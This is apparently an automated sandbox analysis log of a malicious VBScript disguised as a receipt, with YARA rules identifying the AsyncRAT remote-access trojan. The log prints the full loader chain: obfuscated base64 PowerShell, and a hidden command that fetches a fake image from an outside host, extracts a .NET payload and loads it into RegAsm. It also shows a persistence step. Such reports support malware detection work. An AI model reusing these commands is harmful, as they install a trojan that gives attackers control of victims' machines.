gTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg Jump to behavior
Detected potential crypto function
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_01651300 10_2_01651300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_016539B1 10_2_016539B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_01653FA8 10_2_01653FA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 10_2_01651878 10_2_01651878
Java / VBScript file with very long strings (likely obfuscated code)
Source: S847453-receipt.vbs Initial sample: Strings found which are bigger than 50
Yara signature match
Source: 10.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000A.00000002.2972228650.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: powershell.exe PID: 3916, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6276, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: classification engine Classification label: mal100.spre.troj.expl.evad.winVBS@14/14@5/4
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Pz7Nj[1].txt Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2860:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5852:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\5SZ3fDyURUpUFMlG
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zgnitp0j.knq.ps1 Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\S847453-receipt.vbs"
Source: C:\Windows\System32\wscript.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: S847453-receipt.vbs ReversingLabs: Detection: 21%
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\S847453-receipt.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.yamowx/mn/moc.72evlove.www//:sptth' , '1' , 'C:\ProgramData\' , 'escudellar','RegAsm',''))} }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\escudellar.vbs"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
Source: unknown Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\escudellar.vbs"
Source: unknown Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\escudellar.vbs"
Source: unknown Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\escudellar.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.yamowx/mn/moc.72evlove.www//:sptth' , '1' , 'C:\ProgramData\' , 'escudellar','RegAsm',''))} }" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\escudellar.vbs" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: adsnt.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: activeds.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: adsldpc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: adsldpc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: logoncli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: samlib.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: drprov.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: ntlanman.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: davclnt.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: davhlpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msxml3.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: ntasn1.dll Jump to behavior
